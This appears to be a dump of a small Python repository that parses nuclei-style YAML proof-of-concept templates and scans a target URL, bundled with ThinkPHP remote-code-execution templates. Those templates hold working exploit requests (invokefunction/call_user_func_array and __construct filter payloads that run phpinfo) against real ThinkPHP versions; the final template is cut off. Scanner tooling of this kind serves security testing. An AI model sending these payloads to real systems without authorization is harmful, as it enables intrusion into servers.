├── .gitignore ├── README.md ├── config.py ├── core ├── __init__.py └── logger.py ├── images └── demo1.png ├── main.py ├── template ├── __init__.py ├── dns.py ├── exceptions.py ├── extractors.py ├── hosterrorscache.py ├── interactsh.py ├── matchers.py ├── model.py ├── operators.py ├── options.py ├── pyparser.py ├── request.py ├── runner.py └── template.py └── vulns ├── thinkphp-2-rce.yaml ├── thinkphp-501-rce.yaml ├── thinkphp-5022-rce.yaml ├── thinkphp-5023-rce.yaml └── thinkphp-509-information-disclosure.yaml /.gitignore: -------------------------------------------------------------------------------- 1 | parser.py 2 | grpcserver.py 3 | .DS_Store 4 | .idea/ 5 | __pycache__ 6 | *.pyc 7 | proto/ 8 | vulnsall/ 9 | build_proto.py 10 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | Any[nuclei/xray/ezreal] pocs yaml parse 3 |

4 |

各大平台插件究极缝合[Python实现]

5 | 6 | ___ 7 | ## Todos 8 | - [x] nuclei-template http support 9 | - [ ] nuclei-template file support 10 | - [ ] nuclei-template dns support 11 | - [ ] xray pocs basic parse support 12 | - [ ] ez pocs basic parse support 13 | 14 | ## ⭐️ Demo 15 | ![demo1](images/demo1.png) -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logging_level = logging.INFO 4 | logging_format = "[%(levelname)s] %(message)s" 5 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/core/__init__.py -------------------------------------------------------------------------------- /core/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import colorama 3 | from typing import Dict 4 | from termcolor import colored 5 | from config import logging_level, logging_format 6 | 7 | 8 | # coloredlogs.DEFAULT_FIELD_STYLES = { 9 | # 'hostname': {'color': 'magenta'}, 10 | # 'programname': {'color': 'cyan'}, 11 | # 'name': {'color': 'blue'}, 12 | # 'levelname': {'color': 'black', 'bold': True}, 13 | # 'asctime': {'color': 'magenta'}} 14 | # 15 | # coloredlogs.install( 16 | # fmt="[%(levelname)s] %(message)s", 17 | # field_styles={}, 18 | # level_styles=dict( 19 | # debug={"color": "yellow"}, 20 | # info={"color": "white"}, 21 | # warning={"color": "red"}, 22 | # error={"color": "red"}, 23 | # ) 24 | # ) 25 | # 26 | # handler = colorlog.StreamHandler() 27 | # handler.setFormatter( 28 | # colorlog.ColoredFormatter( 29 | # "%(log_color)s[%(levelname)s] %(reset)s %(blue)s%(message)s", 30 | # reset=True, 31 | # log_colors={ 32 | # 'DEBUG': 'cyan', 33 | # 'INFO': 'green', 34 | # 'WARNING': 'yellow', 35 | # 'ERROR': 'red,bg_white', 36 | # 'CRITICAL': 'red', 37 | # }, 38 | # style='%' 39 | # )) 40 | 41 | 42 | # def getLogger() -> logging: 43 | # logger = logging.getLogger() 44 | # logger.addHandler(handler) 45 | # return logger 46 | 47 | # # 48 | # l = getLogger() 49 | # l.error("ok") 50 | 51 | class getLogger(object): 52 | 53 | def __init__(self): 54 | pass 55 | 56 | def base_log(self, level, level_color, 57 | messages: Dict[str, str], hidden_level=False): 58 | texts = [] 59 | if not hidden_level and level and level_color: 60 | texts.append('[{}]'.format(colored(level, level_color))) 61 | 62 | for k, color in messages.items(): 63 | texts.append(colored(k, color)) 64 | return "".join(texts) 65 | 66 | def log(self, messages: Dict[str, str], hidden_level=False, 67 | level=None, level_color=None): 68 | print(self.base_log( 69 | level=level, level_color=level_color, 70 | messages=messages, hidden_level=hidden_level 71 | )) 72 | 73 | 74 | if __name__ == '__main__': 75 | # print(getLogger().info({})) 76 | pass 77 | 78 | -------------------------------------------------------------------------------- /images/demo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/images/demo1.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pprint import pprint 3 | from optparse import OptionParser 4 | from core.logger import getLogger 5 | from template.options import Options 6 | from template.template import Template 7 | from template.model import Info 8 | from template.request import Request 9 | from template.runner import Runner 10 | import urllib3 11 | urllib3.disable_warnings() 12 | 13 | 14 | def scan_callback(template: Template, url: str): 15 | try: 16 | return { 17 | "severity": template.Info.SeverityHolder, 18 | "plugin": template.ID, 19 | "url": url, 20 | "name": template.Info.Name 21 | } 22 | except Exception as e: 23 | return None 24 | 25 | 26 | if __name__ == '__main__': 27 | logger = getLogger() 28 | 29 | usage = '%prog -t http://localhost:8080' 30 | parser = OptionParser(usage=usage) 31 | parser.add_option("-t", "--target", dest="target", help="URL target", default=None) 32 | parser.add_option("", "--pocs", dest='pocs', help="pocs directory", default="vulns/") 33 | # parser.add_option("-a", "--all", dest='all', action="store_true", help="指定--all加载所有的poc") 34 | options, args = parser.parse_args() 35 | 36 | if not options.target: 37 | raise Exception("missing target") 38 | 39 | url = options.target 40 | pocs = options.pocs 41 | pocs = options.pocs if str(options.pocs).endswith("/") else pocs + "/" 42 | 43 | optionRunner = Options( 44 | url=url, 45 | templates=[pocs + x for x in os.listdir(pocs)] 46 | ) 47 | 48 | logger.log(messages={ 49 | "[INFO] ": "blue", 50 | "调用poc个数{}".format(len(optionRunner.Templates)): "white" 51 | }) 52 | 53 | for item in Runner(optionRunner).run(scan_callback): 54 | pass 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /template/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/template/__init__.py -------------------------------------------------------------------------------- /template/dns.py: -------------------------------------------------------------------------------- 1 | """ 2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/protocols/dns/dns.go#L21 3 | """ 4 | 5 | from typing import Mapping, List 6 | 7 | from template.operators import Operators 8 | from template.interactsh import Client 9 | 10 | 11 | class Request: 12 | ID: str = None 13 | Name: str = None 14 | RequestType: str = None 15 | Class: str 16 | Retries: int 17 | Trace: bool 18 | TraceMaxRecursion: int 19 | CompiledOperators: Operators 20 | dnsClient: Client 21 | options: object 22 | clazz: int 23 | question: int 24 | Recursion: bool 25 | Resolvers: [str] 26 | 27 | def get_compile_operators(self) -> List[Operators]: 28 | return [] 29 | 30 | def get_id(self): 31 | return self.ID 32 | 33 | def compile(request, options): 34 | if request.Retries == 0: 35 | request.Retries = 3 36 | 37 | if request.Recursion is None: 38 | recusion = True 39 | request.Recursion = recusion 40 | 41 | 42 | 43 | 44 | RequestPartDefinitions: Mapping[str, str] = { 45 | "template-id": "ID of the template executed", 46 | "template-info": "Info Block of the template executed", 47 | "template-path": "Path of the template executed", 48 | "host": "Host is the input to the template", 49 | "matched": "Matched is the input which was matched upon", 50 | "request": "Request contains the DNS request in text format", 51 | "type": "Type is the type of request made", 52 | "rcode": "Rcode field returned for the DNS request", 53 | "question": "Question contains the DNS question field", 54 | "extra": "Extra contains the DNS response extra field", 55 | "answer": "Answer contains the DNS response answer field", 56 | "ns": "NS contains the DNS response NS field", 57 | "raw,body,all": "Raw contains the raw DNS response (default)", 58 | "trace": "Trace contains trace data for DNS request if enabled", 59 | } 60 | -------------------------------------------------------------------------------- /template/exceptions.py: -------------------------------------------------------------------------------- 1 | class AnyBadException(Exception): 2 | """ 3 | 任意报错 4 | """ 5 | def __init__(self): 6 | pass 7 | -------------------------------------------------------------------------------- /template/extractors.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class ExtractorTypeHolder(): 4 | def __init__(self): 5 | self.ExtractorType = self 6 | 7 | 8 | class Extractor: 9 | Name: str 10 | Type: int 11 | extractorType: int 12 | Regex: [str] 13 | RegexGroup: int 14 | regexCompiled: [] 15 | KVal: [str] 16 | JSON: [str] 17 | XPath: [str] 18 | Attribute: str 19 | jsonCompiled: [] 20 | Part: str 21 | Internal: bool 22 | CaseInsensitive: bool 23 | -------------------------------------------------------------------------------- /template/hosterrorscache.py: -------------------------------------------------------------------------------- 1 | class Cache: 2 | MaxHostError: int 3 | verbose: bool 4 | failedTargets: object 5 | 6 | def set_verbose(self, verbose: bool): 7 | self.verbose = verbose 8 | 9 | def close(self): 10 | pass 11 | -------------------------------------------------------------------------------- /template/interactsh.py: -------------------------------------------------------------------------------- 1 | from template.hosterrorscache import Cache 2 | 3 | 4 | class Client: 5 | interactsh: object 6 | requests: Cache 7 | interactions: Cache 8 | matchedTemplates: Cache 9 | options: object 10 | eviction: int 11 | pollDuration: int 12 | cooldownDuration: int 13 | 14 | hostname: str 15 | firstTimeGroup: str 16 | generated: int 17 | matched: bool 18 | -------------------------------------------------------------------------------- /template/matchers.py: -------------------------------------------------------------------------------- 1 | import re 2 | from enum import Enum 3 | from typing import Mapping 4 | from requests import Response 5 | 6 | 7 | class MatcherType(Enum): 8 | WordsMatcher = 1 9 | RegexMatcher = 2 10 | BinaryMatcher = 3 11 | StatusMatcher = 4 12 | SizeMatcher = 5 13 | DSLMatcher = 6 14 | limit = 7 15 | 16 | # 17 | # class MatcherTypeHolder(MatcherType): 18 | # 19 | # def __init__(self): 20 | # self.MatcherType = self 21 | 22 | 23 | class Matcher: 24 | 25 | Type: MatcherType 26 | Condition: str 27 | Part: str 28 | Negative: bool 29 | Name: str 30 | Status: [int] 31 | Size: [int] 32 | Words: [str] 33 | Regex: [str] 34 | Binary: [str] 35 | DSL: [str] 36 | Encoding: str 37 | CaseInsensitive: str 38 | 39 | condition: int 40 | matcherType: int 41 | binaryDecoded: [str] 42 | regexCompiled: [] 43 | dslCompiled: [] 44 | 45 | def __init__(self, type=None, condition=None, 46 | part=None, negative=None, 47 | name=None, status=None, 48 | size=None, words=None, 49 | regex=None, binary=None, 50 | dsl=None, **kwargs): 51 | self.Type = get_matchertype_from_string(type) 52 | self.Condition = get_condition_from_string(condition) 53 | self.Part = part 54 | self.Negative = negative 55 | self.Name = name 56 | self.Status = status 57 | self.Size = size 58 | self.Words = words 59 | self.Regex = regex 60 | self.Binary = binary 61 | self.DSL = dsl 62 | 63 | def get_type(self): 64 | return self.Type.MatcherType 65 | 66 | def compile(self, response: Response): 67 | # print(self.Condition, self.Type, response.status_code, self.Status) 68 | if not response: 69 | return False 70 | 71 | if self.Words and self.Type == MatcherType.WordsMatcher: 72 | if self.Condition == ANDCondition: 73 | if all([word in response.text for word in self.Words]): 74 | return True 75 | elif self.Condition == ORCondition: 76 | if any([word in response.text for word in self.Words]): 77 | return True 78 | elif self.Type == MatcherType.StatusMatcher: 79 | """ 80 | 这里要改一下 81 | """ 82 | if self.Condition == ANDCondition: 83 | if all([status == response.status_code for status in self.Status]): 84 | return True 85 | elif self.Condition == ORCondition: 86 | if any([status == response.status_code for status in self.Status]): 87 | return True 88 | elif self.Type == MatcherType.RegexMatcher: 89 | try: 90 | if self.Condition == ANDCondition: 91 | if all([re.search(r'{}'.format(regx), response.text) for regx in self.Regex]): 92 | return True 93 | elif self.Condition == ORCondition: 94 | if any([re.search(r'{}'.format(regx), response.text) for regx in self.Regex]): 95 | return True 96 | except re.error as e: 97 | return False 98 | 99 | 100 | ConditionType = int 101 | MatcherTypes = { 102 | MatcherType.StatusMatcher: 'status', 103 | MatcherType.SizeMatcher: "size", 104 | MatcherType.WordsMatcher: "word", 105 | MatcherType.RegexMatcher: "regex", 106 | MatcherType.BinaryMatcher: "binary", 107 | MatcherType.DSLMatcher: "dsl", 108 | } 109 | 110 | 111 | def get_matchertype_from_string(string): 112 | for k, v in MatcherTypes.items(): 113 | if v == string: 114 | return k 115 | return MatcherType.WordsMatcher 116 | 117 | 118 | def get_condition_from_string(string: str): 119 | if string is None: 120 | return ConditionTypes.get("and") 121 | return ConditionTypes.get(string.lower(), None) 122 | 123 | 124 | ANDCondition: int = 1 125 | ORCondition: int = 2 126 | ConditionTypes: Mapping[str, int] = { 127 | "and": ANDCondition, 128 | "or": ORCondition 129 | } 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /template/model.py: -------------------------------------------------------------------------------- 1 | """ 2 | v2/pkg/model/model.go 3 | """ 4 | 5 | 6 | class Info(object): 7 | 8 | Name: str = None 9 | Authors: str = None 10 | Tags: str = None 11 | Description: str = None 12 | Reference: str = None 13 | SeverityHolder: str = None 14 | 15 | def __init__(self, 16 | name=None, auther=None, tags=None, 17 | description=None, reference=None, 18 | severity=None, **kwargs): 19 | self.Name = name 20 | self.Authors = auther 21 | self.Tags = tags 22 | self.Description = description 23 | self.Reference = reference 24 | self.SeverityHolder = severity 25 | 26 | 27 | class ServerityChoice: 28 | ServerityCritical = "critical" 29 | ServerityHigh = "high" 30 | ServerityMedium = "medium" 31 | ServerityLow = "low" 32 | ServerityInfo = "info" 33 | -------------------------------------------------------------------------------- /template/operators.py: -------------------------------------------------------------------------------- 1 | """ 2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/operators/operators.go#L13 3 | """ 4 | from typing import List, Mapping 5 | from template.matchers import Matcher, ConditionType 6 | from template.extractors import Extractor 7 | 8 | 9 | class Operators: 10 | 11 | Matchers: List[Matcher] = [] 12 | Extractors: List[Extractor] = [] 13 | MatchersCondition: str 14 | matchersCondition: ConditionType 15 | 16 | def get_matchers_condition(self) -> ConditionType: 17 | return self.matchersCondition 18 | 19 | 20 | class Result: 21 | Matched: bool 22 | Extracted: bool 23 | # Mapping[str, List[str]] 24 | Matches: {} 25 | # Mapping[str, List[str]] 26 | Extracts: {} 27 | OutputExtracts: [str] 28 | outputUnique: Mapping[str, object] 29 | DynamicValues: Mapping[str, List[str]] 30 | PayloadValues: Mapping[str, object] 31 | 32 | def merge(self, result): 33 | if not self.Matched and result.Matched: 34 | self.Matched = result.Matched 35 | 36 | if not self.Extracted and result.Extracted: 37 | self.Extracted = result.Extracted 38 | 39 | for k, v in result.Matches.items(): 40 | self.Matches[k] = v 41 | 42 | for k, v in result.Extracts.items(): 43 | self.Extracts[k] = v 44 | 45 | -------------------------------------------------------------------------------- /template/options.py: -------------------------------------------------------------------------------- 1 | from typing import List 2 | 3 | 4 | class Options(object): 5 | Url: str 6 | RequestProxy: dict 7 | RequestAllowRedirect: bool = True 8 | RequestHeaders: dict = { 9 | "Content-Type": "application/x-www-form-urlencoded", 10 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " 11 | "Chrome/72.0.3626.121 Safari/537.36" 12 | } 13 | Templates: List[str] = [] 14 | RequestSSLVerify: bool = False 15 | 16 | def __init__(self, url=None, request_proxy=None, 17 | request_allow_redirect=True, 18 | request_headers: dict={}, 19 | templates=[], **kwargs): 20 | self.Url = url 21 | self.RequestProxy = request_proxy 22 | self.RequestAllowRedirect = request_allow_redirect 23 | self.RequestHeaders = dict(self.RequestHeaders, **request_headers) 24 | self.Templates = templates 25 | 26 | -------------------------------------------------------------------------------- /template/pyparser.py: -------------------------------------------------------------------------------- 1 | import pyparsing 2 | from ast import literal_eval 3 | from asteval import Interpreter 4 | 5 | import requests 6 | 7 | identifier = pyparsing.QuotedString('"') 8 | operator = ( 9 | pyparsing.Literal("=") | 10 | pyparsing.Literal("≠") | 11 | pyparsing.Literal("≥") | 12 | pyparsing.Literal("≤") | 13 | pyparsing.Literal("<") | 14 | pyparsing.Literal(">") 15 | ) 16 | value = pyparsing.QuotedString('"') 17 | match_format = identifier + operator + value 18 | 19 | print( 20 | match_format.parseString("\"a\" = \"1\"") 21 | ) 22 | 23 | a = 1 24 | import os 25 | print(eval("os.listdir('.')", {"__builtins__": {}})) 26 | 27 | 28 | class Response: 29 | status_code = 201 30 | 31 | 32 | interpreter = Interpreter() 33 | interpreter.symtable['response'] = Response 34 | 35 | print(interpreter.eval("response.status_code == 200")) 36 | # print(interpreter.eval("a = 1")) 37 | -------------------------------------------------------------------------------- /template/request.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import List, Mapping 3 | 4 | import requests.exceptions 5 | 6 | from template.exceptions import AnyBadException 7 | from template.matchers import Matcher, ANDCondition, ORCondition, get_condition_from_string 8 | import requests as httpclient 9 | 10 | from template.options import Options 11 | 12 | 13 | class HTTPClient(object): 14 | 15 | def __init__(self): 16 | self.base = None 17 | 18 | def get_instance(self): 19 | return httpclient 20 | 21 | def set_baseurl(self, url: str): 22 | self.base = url if url.endswith("/") else url + "/" 23 | 24 | def base_request(self, method: str, path: str, body=None, options: Options=None): 25 | # print("Request path: ", path) 26 | # print("Request method: ", method) 27 | # print("Request body: ", body) 28 | 29 | kwargs = { 30 | "proxies": options.RequestProxy, 31 | "headers": options.RequestHeaders, 32 | "allow_redirects": options.RequestAllowRedirect, 33 | "verify": options.RequestSSLVerify 34 | } 35 | 36 | if method.lower() == "get": 37 | return self.get_instance().get(path, **kwargs) 38 | elif method.lower() == "post": 39 | if isinstance(body, dict): 40 | body = json.dumps(body) 41 | return self.get_instance().post( 42 | path, data=body, **kwargs 43 | ) 44 | elif method.lower() == "delete": 45 | return self.get_instance().delete(path, **kwargs) 46 | 47 | 48 | class Request: 49 | Path: List[str] 50 | Raw: List[str] 51 | ID: str 52 | Name: str 53 | AttachType: str 54 | Method: str 55 | Body: str 56 | Payloads: Mapping[str, object] 57 | Headers: Mapping[str, str] 58 | RaceNumberRequests: int 59 | MaxRedirects: int 60 | Threads: int 61 | Redirects: int 62 | 63 | Matchers: List[Matcher] 64 | Matchers_Condition: bool = ANDCondition 65 | HTTPRequest = HTTPClient() 66 | 67 | def __init__(self, 68 | path=None, raw=None, id=None, name=None, 69 | method=None, body=None, headers=None, 70 | redirects=None, matchers=None, **kwargs): 71 | self.Path = path 72 | self.Raw = raw 73 | self.ID = id 74 | self.Name = name 75 | self.Method = method 76 | self.Body = body 77 | self.Headers = headers 78 | self.Redirects = redirects 79 | 80 | self.Matchers = [ 81 | Matcher(**matcher) for matcher in matchers 82 | ] if matchers else [] 83 | self.Matchers_Condition = get_condition_from_string(kwargs.get("matchers-condition", "and").lower()) 84 | 85 | def replace(self, url, path: str): 86 | path = path.replace("{{BaseURL}}", url) 87 | path = path.replace("{{RootURL}}", url) 88 | path = path.replace("{{interactsh-url}}", url) 89 | return path 90 | 91 | def compile(self, options: Options) -> str: 92 | # 临时加的 93 | if not all([options.Url, self.Path]): 94 | return 95 | 96 | url = self.replace(options.Url, path=self.Path[0]) 97 | 98 | try: 99 | response = self.HTTPRequest.base_request( 100 | method=self.Method if self.Method else "GET", 101 | path=url, body=self.Body, options=options) 102 | except requests.exceptions.ProxyError as e: 103 | return 104 | 105 | # matchers-condition 判断 106 | if self.Matchers_Condition == ANDCondition: 107 | coditions = [matcher.compile(response) for matcher in self.Matchers] 108 | if len(coditions) and all(coditions): 109 | return url 110 | elif self.Matchers_Condition == ORCondition: 111 | if any([matcher.compile(response) for matcher in self.Matchers]): 112 | return url 113 | # print("STATUS: ", response.status_code) 114 | 115 | def get_id(self): 116 | return self.ID 117 | 118 | 119 | class File: 120 | Extensions: List[str] # extensions 121 | DenyList: List[str] # denylist 122 | ID: str # id 123 | MaxSize: str # max-size - value: "\"5Mb\"" 124 | maxSize: int 125 | Archive: bool 126 | # CompiledOperators: 127 | extensions: Mapping[str, object] 128 | denyList: Mapping[str, object] 129 | NoRecursive: bool # no-recursive 130 | allExtensions: bool 131 | 132 | Matchers: List[Matcher] 133 | Matchers_Condition: bool = ANDCondition 134 | HTTPRequest = HTTPClient() 135 | 136 | def __init__(self, extensions=None, denylist=None, id=None, extractors=None, **kwargs): 137 | self.Extensions = extensions 138 | self.DenyList = denylist 139 | self.ID = id 140 | self.MaxSize = kwargs.get("max-size") 141 | self.NoRecursive = kwargs.get("no-recursive") 142 | 143 | self.Matchers = [ 144 | Matcher(**matcher) for matcher in extractors 145 | ] if extractors else [] 146 | self.Matchers_Condition = get_condition_from_string(kwargs.get("matchers-condition", "and").lower()) 147 | 148 | def getID(self): 149 | return self.ID 150 | 151 | def compile(self, options: Options): 152 | pass 153 | 154 | 155 | defaultDenylist = { 156 | ".3g2", ".3gp", ".arj", ".avi", ".axd", ".bmp", ".css", ".csv", ".deb", 157 | ".dll", ".doc", ".drv", ".eot", ".exe", ".flv", ".gif", ".gifv", ".h264", 158 | ".ico", ".iso", ".jar", ".jpeg", ".jpg", ".lock", ".m4a", ".m4v", ".map", 159 | ".mkv", ".mov", ".mp3", ".mp4", ".mpeg", ".mpg", ".msi", ".ogg", ".ogm", 160 | ".ogv", ".otf", ".pdf", ".pkg", ".png", ".ppt", ".psd", ".rm", ".rpm", ".svg", 161 | ".swf", ".sys", ".tif", ".tiff", ".ttf", ".vob", ".wav", ".webm", ".wmv", ".woff", 162 | ".woff2", ".xcf", ".xls", ".xlsx" 163 | } 164 | 165 | defaultArchiveDenyList = {".7z", ".apk", ".gz", ".rar", ".tar.gz", ".tar", ".zip"} -------------------------------------------------------------------------------- /template/runner.py: -------------------------------------------------------------------------------- 1 | from template.exceptions import AnyBadException 2 | from template.request import Request, File 3 | from template.model import Info 4 | from template.options import Options as OptionsType 5 | import yaml 6 | 7 | from template.template import Template 8 | 9 | 10 | class Runner(object): 11 | 12 | Options: OptionsType 13 | 14 | def __init__(self, options: OptionsType): 15 | self.Options = options 16 | 17 | def yaml_parse(self, file) -> Template: 18 | poc_yaml_text = yaml.load(open(file), Loader=yaml.FullLoader) 19 | id = poc_yaml_text.get("id") or poc_yaml_text.get("name") 20 | info = Info(**poc_yaml_text.get("info")) 21 | requests = [] 22 | files = [] 23 | 24 | # 临时加的 25 | # if not poc_yaml_text.get("requests"): 26 | # raise AnyBadException() 27 | 28 | if poc_yaml_text.get("requests"): 29 | for request in poc_yaml_text.get("requests"): 30 | requests.append(Request(**request)) 31 | 32 | if poc_yaml_text.get("file"): 33 | for file in poc_yaml_text.get("file"): 34 | files.append(File(**file)) 35 | 36 | return Template(id=id, info=info, requests=requests, files=files) 37 | # template.list_requests() 38 | # template.compile(url) 39 | 40 | def run(self, callback=None): 41 | templates = self.Options.Templates 42 | 43 | for poc_template in templates: 44 | # print("load {}".format(poc_template)) 45 | try: 46 | template = self.yaml_parse(poc_template) 47 | except KeyError as e: 48 | print("error in run {}".format(poc_template), e) 49 | continue 50 | 51 | # poc模板处理options参数 52 | for result in template.compile(self.Options): 53 | if callback and result: 54 | yield callback(template, result) 55 | # print(template.Info.SeverityHolder, self.Options.Url) 56 | # print(template.Info.SeverityHolder) 57 | -------------------------------------------------------------------------------- /template/template.py: -------------------------------------------------------------------------------- 1 | """ 2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/templates/templates.go 3 | """ 4 | # import telegram.client 5 | from typing import List 6 | 7 | from core.logger import getLogger 8 | from template import model, request 9 | from template.model import ServerityChoice 10 | from template.options import Options 11 | 12 | 13 | class Template(object): 14 | ID: str = "" 15 | Info: model.Info = None 16 | RequestsHTTP: List[request.Request] 17 | RequestsFile: List[request.File] 18 | logger = getLogger() 19 | 20 | def __init__(self, id, info: model.Info, requests, files): 21 | self.ID = id 22 | self.Info = info 23 | self.RequestsHTTP = requests 24 | self.RequestsFile = files 25 | 26 | def list_requests(self): 27 | for request_http in self.RequestsHTTP: 28 | print("method: ", request_http.Method) 29 | print("path: ", request_http.Path) 30 | print("header: ", request_http.Headers) 31 | print("body: ", request_http.Body) 32 | 33 | for matcher in request_http.Matchers: 34 | print("matcher type: ", matcher.Type) 35 | print("matcher condition: ", matcher.Condition) 36 | # print(matcher.) 37 | 38 | def log(self, request_success_url): 39 | if request_success_url: 40 | if self.Info.SeverityHolder == ServerityChoice.ServerityCritical: 41 | # self.logger.critical("{}".format(request_success_url)) 42 | # self.logger.info("{}".format(request_success_url)) 43 | self.logger.log(messages={ 44 | "[{}] ".format(self.Info.SeverityHolder): "red", 45 | "[{}] ".format(self.ID): "green", 46 | request_success_url: "white" 47 | }) 48 | elif self.Info.SeverityHolder == ServerityChoice.ServerityHigh: 49 | # self.logger.critical("{}".format(request_success_url)) 50 | # self.logger.info("{}".format(request_success_url)) 51 | self.logger.log(messages={ 52 | "[{}] ".format(self.Info.SeverityHolder): "red", 53 | "[{}] ".format(self.ID): "green", 54 | request_success_url: "white" 55 | }) 56 | elif self.Info.SeverityHolder == ServerityChoice.ServerityMedium: 57 | # self.logger.critical("{}".format(request_success_url)) 58 | # self.logger.info("{}".format(request_success_url)) 59 | self.logger.log(messages={ 60 | "[{}] ".format(self.Info.SeverityHolder): "yellow", 61 | "[{}] ".format(self.ID): "green", 62 | request_success_url: "white" 63 | }) 64 | elif self.Info.SeverityHolder == ServerityChoice.ServerityLow: 65 | # self.logger.critical("{}".format(request_success_url)) 66 | # self.logger.info("{}".format(request_success_url)) 67 | self.logger.log(messages={ 68 | "[{}] ".format(self.Info.SeverityHolder): "blue", 69 | "[{}] ".format(self.ID): "green", 70 | request_success_url: "white" 71 | }) 72 | elif self.Info.SeverityHolder == ServerityChoice.ServerityInfo: 73 | # self.logger.critical("{}".format(request_success_url)) 74 | # self.logger.info("{}".format(request_success_url)) 75 | self.logger.log(messages={ 76 | "[{}] ".format(self.Info.SeverityHolder): "blue", 77 | "[{}] ".format(self.ID): "green", 78 | request_success_url: "white" 79 | }) 80 | 81 | def compile(self, options: Options): 82 | 83 | # 解析模板里面的requests进行请求发起 84 | for request_http in self.RequestsHTTP: 85 | request_success_url = request_http.compile(options) 86 | yield request_success_url 87 | self.log(request_success_url) 88 | 89 | for request_file in self.RequestsFile: 90 | request_success_url = request_file.compile(options) 91 | yield request_success_url 92 | self.log(request_success_url) 93 | -------------------------------------------------------------------------------- /vulns/thinkphp-2-rce.yaml: -------------------------------------------------------------------------------- 1 | id: thinkphp-2-rce 2 | 3 | info: 4 | name: ThinkPHP 2 / 3 's' Parameter RCE 5 | author: dr_set 6 | severity: critical 7 | description: ThinkPHP 2.x version and 3.0 in Lite mode Remote Code Execution. 8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/2-rce 9 | tags: thinkphp,rce 10 | 11 | requests: 12 | - method: GET 13 | path: 14 | - "{{BaseURL}}/index.php?s=/index/index/name/$%7B@phpinfo()%7D" 15 | 16 | matchers-condition: and 17 | matchers: 18 | - type: word 19 | words: 20 | - "PHP Extension" 21 | - "PHP Version" 22 | - "ThinkPHP" 23 | condition: and 24 | 25 | - type: status 26 | status: 27 | - 200 28 | -------------------------------------------------------------------------------- /vulns/thinkphp-501-rce.yaml: -------------------------------------------------------------------------------- 1 | id: thinkphp-501-rce 2 | 3 | info: 4 | name: ThinkPHP 5.0.1 RCE 5 | author: lark-lab 6 | severity: critical 7 | description: A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter. 8 | tags: thinkphp,rce 9 | 10 | requests: 11 | - method: POST 12 | path: 13 | - "{{BaseURL}}/?s=index/index/index" 14 | body: "s=phpinfo()&_method=__construct&filter=assert" 15 | headers: 16 | Content-Type: application/x-www-form-urlencoded 17 | 18 | matchers-condition: and 19 | matchers: 20 | - type: word 21 | words: 22 | - "PHP Extension" 23 | - "PHP Version" 24 | condition: and 25 | 26 | - type: status 27 | status: 28 | - 200 29 | -------------------------------------------------------------------------------- /vulns/thinkphp-5022-rce.yaml: -------------------------------------------------------------------------------- 1 | id: thinkphp-5022-rce 2 | 3 | info: 4 | name: ThinkPHP 5.0.22 RCE 5 | author: dr_set 6 | severity: critical 7 | description: Thinkphp5 5.0.22/5.1.29 Remote Code Execution if the website doesn't have mandatory routing enabled (which is default). 8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5-rce 9 | tags: thinkphp,rce 10 | 11 | requests: 12 | - method: GET 13 | path: 14 | - "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" 15 | 16 | matchers-condition: and 17 | matchers: 18 | - type: word 19 | words: 20 | - "PHP Extension" 21 | - "PHP Version" 22 | - "ThinkPHP" 23 | condition: and 24 | 25 | - type: status 26 | status: 27 | - 200 28 | -------------------------------------------------------------------------------- /vulns/thinkphp-5023-rce.yaml: -------------------------------------------------------------------------------- 1 | id: thinkphp-5023-rce 2 | 3 | info: 4 | name: ThinkPHP 5.0.23 RCE 5 | author: dr_set 6 | severity: critical 7 | description: Thinkphp5 5.0(<5.0.24) Remote Code Execution. 8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce 9 | tags: thinkphp,rce 10 | 11 | requests: 12 | - method: POST 13 | path: 14 | - "{{BaseURL}}/index.php?s=captcha" 15 | 16 | headers: 17 | Content-Type: application/x-www-form-urlencoded 18 | 19 | body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1" 20 | 21 | matchers-condition: and 22 | matchers: 23 | - type: word 24 | words: 25 | - "PHP Extension" 26 | - "PHP Version" 27 | - "ThinkPHP" 28 | condition: and 29 | 30 | - type: status 31 | status: 32 | - 200 -------------------------------------------------------------------------------- /vulns/thinkphp-509-information-disclosure.yaml: -------------------------------------------------------------------------------- 1 | id: thinkphp-509-information-disclosure 2 | 3 | info: 4 | name: ThinkPHP 5.0.9 Information Disclosure 5 | author: dr_set 6 | severity: critical 7 | description: Verbose SQL error message reveals sensitive information including database credentials. 8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection 9 | tags: thinkphp 10 | 11 | requests: 12 | - method: GET 13 | path: 14 | - 